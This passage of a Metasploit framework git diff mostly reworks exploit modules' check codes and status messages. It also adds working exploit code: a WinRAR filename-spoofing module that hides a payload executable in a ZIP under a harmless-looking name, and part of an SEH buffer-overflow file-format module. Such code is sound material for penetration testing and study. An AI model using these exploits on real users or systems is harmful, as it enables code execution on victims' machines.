+          'DisableNops' => true,
+        },
+
+      'Targets'    =>
+        [
+          [ 'Windows Universal',
+            {
+              'Ret'     =>  0x10012848, # pop ebx # pop ecx # ret  - hskin.dll
+              'Offset'  =>  256
+            }
+          ],
+        ],
+      'Privileged'  => false,
+      'DisclosureDate'  => 'Nov 24 2013',
+      'DefaultTarget'  => 0))
+
+    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'Settings.ini']),], self.class)
+
+  end
+
+  def exploit
+
+    buffer = "[Support Groups]\r\nVideo="
+    buffer << rand_text(target['Offset'])
+    buffer << generate_seh_payload(target.ret)
+    buffer << payload.encoded
+    buffer << "\r\n[AssociateType]\r\nAssociateType =1"
+
+    file_create(buffer)
+
+  end
+end
diff --git a/modules/exploits/windows/fileformat/videospirit_visprj.rb b/modules/exploits/windows/fileformat/videospirit_visprj.rb
index 8e7a4bdd50..36fc53fef4 100644
--- a/modules/exploits/windows/fileformat/videospirit_visprj.rb
+++ b/modules/exploits/windows/fileformat/videospirit_visprj.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'VeryTools Video Spirit Pro <= 1.70',
+      'Name'           => 'VeryTools Video Spirit Pro',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Video Spirit <= 1.70.
         When opening a malicious project file (.visprj), a stack buffer overflow occurs,
diff --git a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb
new file mode 100644
index 0000000000..24c01034d7
--- /dev/null
+++ b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb
@@ -0,0 +1,72 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex/zip'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::EXE
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'WinRAR Filename Spoofing',
+      'Description'    => %q{
+        This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
+        when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
+        the central directory, but the file names used to extract and open contents come from the
+        Local File Header. This inconsistency allows to spoof file names when opening ZIP files
+        with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
+        March 2014
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'chr1x', # Vulnerability discoverer according to OSVDB
+          'juan vazquez' # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'OSVDB', '62610' ],
+          [ 'BID', '66383' ],
+          [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
+          [ 'URL', 'http://an7isec.blogspot.co.il/']
+        ],
+      'Platform'          => [ 'win' ],
+      'Payload'           =>
+        {
+          'DisableNops' => true,
+          'Space' => 4096
+        },
+      'Targets'        =>
+        [
+          [ 'Windows Universal', {} ]
+        ],
+      'DisclosureDate' => 'Sep 28 2009',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
+        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
+      ], self.class)
+
+  end
+
+  def exploit
+    exe_filename = rand_text_alpha(rand(6) + 1)
+    exe_filename << ".exe"
+
+    zip = Rex::Zip::Archive.new
+    zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
+    pack = zip.pack
+
+    print_status("Creating '#{datastore['FILENAME']}' file...")
+    file_create(pack)
+  end
+
+end
diff --git a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb
index f1464e24db..8752bf9cc4 100644
--- a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb
+++ b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb
@@ -12,13 +12,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (local)',
+      'Name'           => 'Wireshark packet-dect.c Stack Buffer Overflow (local)',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Wireshark <= 1.4.4
         When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
         resulting in arbitrary code execution.
 
-        Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap("file"))
+        Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap("file")).
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
index ade7b85090..32095986ce 100644
--- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
+++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
@@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb
index 7cdc971e4f..5f48396b1f 100644
--- a/modules/exploits/windows/ftp/ability_server_stor.rb
+++ b/modules/exploits/windows/ftp/ability_server_stor.rb
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if banner =~ /Ability Server 2\.34/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     else
       if banner =~ /Ability Server/
         return Exploit::CheckCode::Detected
diff --git a/modules/exploits/windows/ftp/cesarftp_mkd.rb b/modules/exploits/windows/ftp/cesarftp_mkd.rb
index e657d375ce..ea1babc50c 100644
--- a/modules/exploits/windows/ftp/cesarftp_mkd.rb
+++ b/modules/exploits/windows/ftp/cesarftp_mkd.rb
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /CesarFTP 0\.99g/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb b/modules/exploits/windows/ftp/dreamftp_format.rb
index 05e8bda803..18d38e518a 100644
--- a/modules/exploits/windows/ftp/dreamftp_format.rb
+++ b/modules/exploits/windows/ftp/dreamftp_format.rb
@@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
     banner = sock.get(-1,3)
     disconnect
     if (banner =~ /Dream FTP Server/)
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/easyfilesharing_pass.rb b/modules/exploits/windows/ftp/easyfilesharing_pass.rb
index b1b8ac68f1..ab5a97838f 100644
--- a/modules/exploits/windows/ftp/easyfilesharing_pass.rb
+++ b/modules/exploits/windows/ftp/easyfilesharing_pass.rb
@@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /Easy File Sharing FTP Server/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
index 58958b34df..06f6338750 100644
--- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
+++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow',
+      'Name'           => 'EasyFTP Server CWD Command Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
         and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
@@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb
index 4ec0fcad81..1ac9951969 100644
--- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb
+++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb
@@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
+      'Name'           => 'EasyFTP Server LIST Command Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
         credit goes to Karn Ganeshan.
@@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /BigFoolCat/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
index 4e45a2818d..4f2575268d 100644
--- a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
+++ b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',
+      'Name'           => 'EasyFTP Server MKD Command Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
         and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which
@@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /BigFoolCat/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb
index 959c94b5ed..a85fd0f6e5 100644
--- a/modules/exploits/windows/ftp/freefloatftp_user.rb
+++ b/modules/exploits/windows/ftp/freefloatftp_user.rb
@@ -57,6 +57,7 @@ class Metasploit4 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /FreeFloat/)
+      # Software is never updated, so if you run this you're f*cked.
       return Exploit::CheckCode::Vulnerable
     else
       return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb
index 27718f7679..a035752d21 100644
--- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb
+++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb
@@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if banner =~ /FreeFloat/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb
index 1c8711caa6..285b4dd012 100644
--- a/modules/exploits/windows/ftp/freeftpd_pass.rb
+++ b/modules/exploits/windows/ftp/freeftpd_pass.rb
@@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
     # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
     # when banner grabbing.
     if banner =~ /freeFTPd 1\.0/
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
 
diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb
index db8e0d7a3c..ef572effe0 100644
--- a/modules/exploits/windows/ftp/freeftpd_user.rb
+++ b/modules/exploits/windows/ftp/freeftpd_user.rb
@@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /freeFTPd 1\.0/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
index d773ba4cc8..cc334f2643 100644
--- a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
+++ b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     connect
     disconnect
-    print_status("FTP Banner: #{banner}".strip)
+    vprint_status("FTP Banner: #{banner}".strip)
     if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
       return Exploit::CheckCode::Appears
     else
diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb
index a1263b6f66..844a06de10 100644
--- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb
+++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb
@@ -125,9 +125,9 @@ For now, that will have to be done manually.
   def check
     connect
     disconnect
-    print_status("FTP Banner: #{banner}".strip)
+    vprint_status("FTP Banner: #{banner}".strip)
     if banner =~ /httpdx.*\(Win32\)/
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
index 0364af0a4c..f2d7375d03 100644
--- a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
+++ b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS FTP Server NLST Response Overflow',
+      'Name'           => 'MS09-053 Microsoft IIS FTP Server NLST Response Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
         service. The flaw is triggered when a special NLST argument is passed
diff --git a/modules/exploits/windows/ftp/netterm_netftpd_user.rb b/modules/exploits/windows/ftp/netterm_netftpd_user.rb
index 1fd6e91a82..4e756c2a11 100644
--- a/modules/exploits/windows/ftp/netterm_netftpd_user.rb
+++ b/modules/exploits/windows/ftp/netterm_netftpd_user.rb
@@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /NetTerm FTP server/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb
index 87a0fa43d3..93fad47728 100644
--- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb
+++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if banner =~ /\*\*        Welcome on       \*\*/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     else
       return Exploit::CheckCode::Unknown
     end
diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb
index 89996329c8..35e0d31ea7 100644
--- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb
+++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /9\.2\.0\.1\.0/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb
index 38fbb0ee38..6120334331 100644
--- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb
+++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb
@@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /9\.2\.0\.1\.0/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb
index e87af145c6..a8e3474e1d 100644
--- a/modules/exploits/windows/ftp/pcman_stor.rb
+++ b/modules/exploits/windows/ftp/pcman_stor.rb
@@ -60,10 +60,10 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if c and banner =~ /220 PCMan's FTP Server 2\.0/
       # Auth is required to exploit
-      print_status("Able to authenticate, and banner shows the vulnerable version")
-      return Exploit::CheckCode::Vulnerable
+      vprint_status("Able to authenticate, and banner shows the vulnerable version")
+      return Exploit::CheckCode::Appears
     elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
-      print_status("Unable to authenticate, but banner shows the vulnerable version")
+      vprint_status("Unable to authenticate, but banner shows the vulnerable version")
       # Auth failed, but based on version maybe the target is vulnerable
       return Exploit::CheckCode::Appears
     end
diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb
index 08406d38eb..9054489c4a 100644
--- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb
+++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb
@@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if banner =~ /220 DSC ftpd 1\.0 FTP Server/
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb
index c6a5546220..f6d9bd49f0 100644
--- a/modules/exploits/windows/ftp/sami_ftpd_user.rb
+++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb
@@ -74,8 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
     banner = sock.get(-1,3)
     disconnect
 
-    if (banner =~ /Sami FTP Server 2.0.2/)
-      return Exploit::CheckCode::Vulnerable
+    if (banner =~ /Sami FTP Server 2\.0\.2/)
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/scriptftp_list.rb b/modules/exploits/windows/ftp/scriptftp_list.rb
index 2f760a39a9..47fc088dc0 100644
--- a/modules/exploits/windows/ftp/scriptftp_list.rb
+++ b/modules/exploits/windows/ftp/scriptftp_list.rb
@@ -12,14 +12,16 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)',
+      'Name'           => 'ScriptFTP LIST Remote Buffer Overflow',
       'Description'    => %q{
-          AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
-        vulnerability that is triggered when processing a sufficiently long filename during
-        a FTP LIST command resulting in overwriting the exception handler. Social engineering
-        of executing a specially crafted ftp file by double click will result in connecting to
-        our malcious server and perform arbitrary code execution which allows the attacker
-        to gain the same rights as the user running ScriptFTP.
+        AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
+        vulnerability that is triggered when processing a sufficiently long
+        filename during a FTP LIST command resulting in overwriting the
+        exception handler. Social engineering of executing a specially crafted
+        ftp file by double click will result in connecting to our malcious
+        server and perform arbitrary code execution which allows the attacker to
+        gain the same rights as the user running ScriptFTP. This vulnerability
+        affects versions 3.3 and earlier.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb
index 51b79cd9b9..02379fa524 100644
--- a/modules/exploits/windows/ftp/servu_chmod.rb
+++ b/modules/exploits/windows/ftp/servu_chmod.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Serv-U FTP Server < 4.2 Buffer Overflow',
+      'Name'           => 'Serv-U FTP Server Buffer Overflow',
       'Description'    => %q{
         This module exploits a stack buffer overflow in the site chmod command
         in versions of Serv-U FTP Server prior to 4.2.
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb
index 42a243fafb..070c3f348e 100644
--- a/modules/exploits/windows/ftp/servu_mdtm.rb
+++ b/modules/exploits/windows/ftp/servu_mdtm.rb
@@ -96,31 +96,31 @@ class Metasploit3 < Msf::Exploit::Remote
 
     case banner
       when /Serv-U FTP Server v4\.1/
-        print_status('Found version 4.1.0.3, exploitable')
-        return Exploit::CheckCode::Vulnerable
-
-      when /Serv-U FTP Server v5\.0/
-        print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
+        vprint_status('Found version 4.1.0.3, exploitable')
         return Exploit::CheckCode::Appears
 
+      when /Serv-U FTP Server v5\.0/
+        vprint_status('Found version 5! 5.0.0.0 may be exploitable, but not 5.0.0.4');
+        return Exploit::CheckCode::Detected
+
       when /Serv-U FTP Server v4\.0/
-        print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
+        vprint_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
         send_user(datastore['USER'])
         send_pass(datastore['PASS'])
         if (double_ff?())
-          print_status('Found version 4.0.0.4, exploitable');
-          return Exploit::CheckCode::Vulnerable
+          vprint_status('Found version 4.0.0.4, exploitable');
+          return Exploit::CheckCode::Appears
         else
-          print_status('Found version 4.1.0.0, exploitable');
-          return Exploit::CheckCode::Vulnerable
+          vprint_status('Found version 4.1.0.0, exploitable');
+          return Exploit::CheckCode::Appears
         end
 
-      when /Serv-U FTP Server/
-        print_status('Found an unknown version, try it!');
+      when /Serv\-U FTP Server/
+        vprint_status('Found an unknown version, try it!');
         return Exploit::CheckCode::Detected
 
       else
-        print_status('We could not recognize the server banner')
+        vprint_status('We could not recognize the server banner')
         return Exploit::CheckCode::Safe
     end
 
diff --git a/modules/exploits/windows/ftp/turboftp_port.rb b/modules/exploits/windows/ftp/turboftp_port.rb
index 986745dbba..f77e5c41b7 100644
--- a/modules/exploits/windows/ftp/turboftp_port.rb
+++ b/modules/exploits/windows/ftp/turboftp_port.rb
@@ -63,9 +63,9 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /1\.30\.823/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif (banner =~ /1\.30\.826/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb
index 49a66b4f45..412789b02e 100644
--- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb
+++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb
@@ -98,9 +98,9 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     connect
     disconnect
-    print_status("FTP Banner: #{banner}".strip)
+    vprint_status("FTP Banner: #{banner}".strip)
     if banner =~ /\(vftpd .*\)/
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb
index 61e8d942bd..6b3f186759 100644
--- a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb
+++ b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
     connect
     disconnect
     if (banner =~ /5\.0\.3/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb
index f6e6daa27c..126618beaa 100644
--- a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb
+++ b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb
@@ -47,8 +47,8 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     connect
     disconnect
-    if (banner =~ /WS_FTP Server 5.0.5/)
-      return Exploit::CheckCode::Vulnerable
+    if (banner =~ /WS_FTP Server 5\.0\.5/)
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/ftp/xlink_server.rb b/modules/exploits/windows/ftp/xlink_server.rb
index 2d87b3d703..12e7a44290 100644
--- a/modules/exploits/windows/ftp/xlink_server.rb
+++ b/modules/exploits/windows/ftp/xlink_server.rb
@@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (banner =~ /XLINK FTP Server/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/games/ut2004_secure.rb b/modules/exploits/windows/games/ut2004_secure.rb
index abef347ad2..509bb4c411 100644
--- a/modules/exploits/windows/games/ut2004_secure.rb
+++ b/modules/exploits/windows/games/ut2004_secure.rb
@@ -97,19 +97,19 @@ class Metasploit3 < Msf::Exploit::Remote
       return
     end
 
-    print_status("Detected Unreal Tournament Server Version: #{vers}")
+    vprint_status("Detected Unreal Tournament Server Version: #{vers}")
     if (vers =~ /^(3120|3186|3204)$/)
-      print_status("This system appears to be exploitable")
+      vprint_status("This system appears to be exploitable")
       return Exploit::CheckCode::Appears
     end
 
 
     if (vers =~ /^(2...)$/)
-      print_status("This system appears to be running UT2003")
+      vprint_status("This system appears to be running UT2003")
       return Exploit::CheckCode::Detected
     end
 
-    print_status("This system appears to be patched")
+    vprint_status("This system appears to be patched")
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb
index a1bdc56051..2df56e665a 100644
--- a/modules/exploits/windows/http/altn_securitygateway.rb
+++ b/modules/exploits/windows/http/altn_securitygateway.rb
@@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     if auto_target
-      Exploit::CheckCode::Vulnerable
+      Exploit::CheckCode::Appears
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb
index 1b9c05d237..07a3e8a1c9 100644
--- a/modules/exploits/windows/http/apache_chunked.rb
+++ b/modules/exploits/windows/http/apache_chunked.rb
@@ -156,8 +156,8 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     response = send_request_raw({'uri' => '/'}, 5)
     if response.nil?
-      print_status("No response to request")
-      return Exploit::CheckCode::Safe
+      vprint_status("No response to request")
+      return Exploit::CheckCode::Unknown
     end
 
     http_fingerprint({ :response => response })  # Custom Server header matching
@@ -166,24 +166,20 @@ class Metasploit3 < Msf::Exploit::Remote
 
     case response['Server']
       when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
-        print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
+        vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
       when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
-        print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
+        vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
       when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
-        print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
+        vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
       when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
-        print_status("IBM backported the patch, this system is not vulnerable")
+        vprint_status("IBM backported the patch, this system is not vulnerable")
         code = Exploit::CheckCode::Safe
       when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
       else
         code = Exploit::CheckCode::Safe
     end
 
-    if code == Exploit::CheckCode::Appears
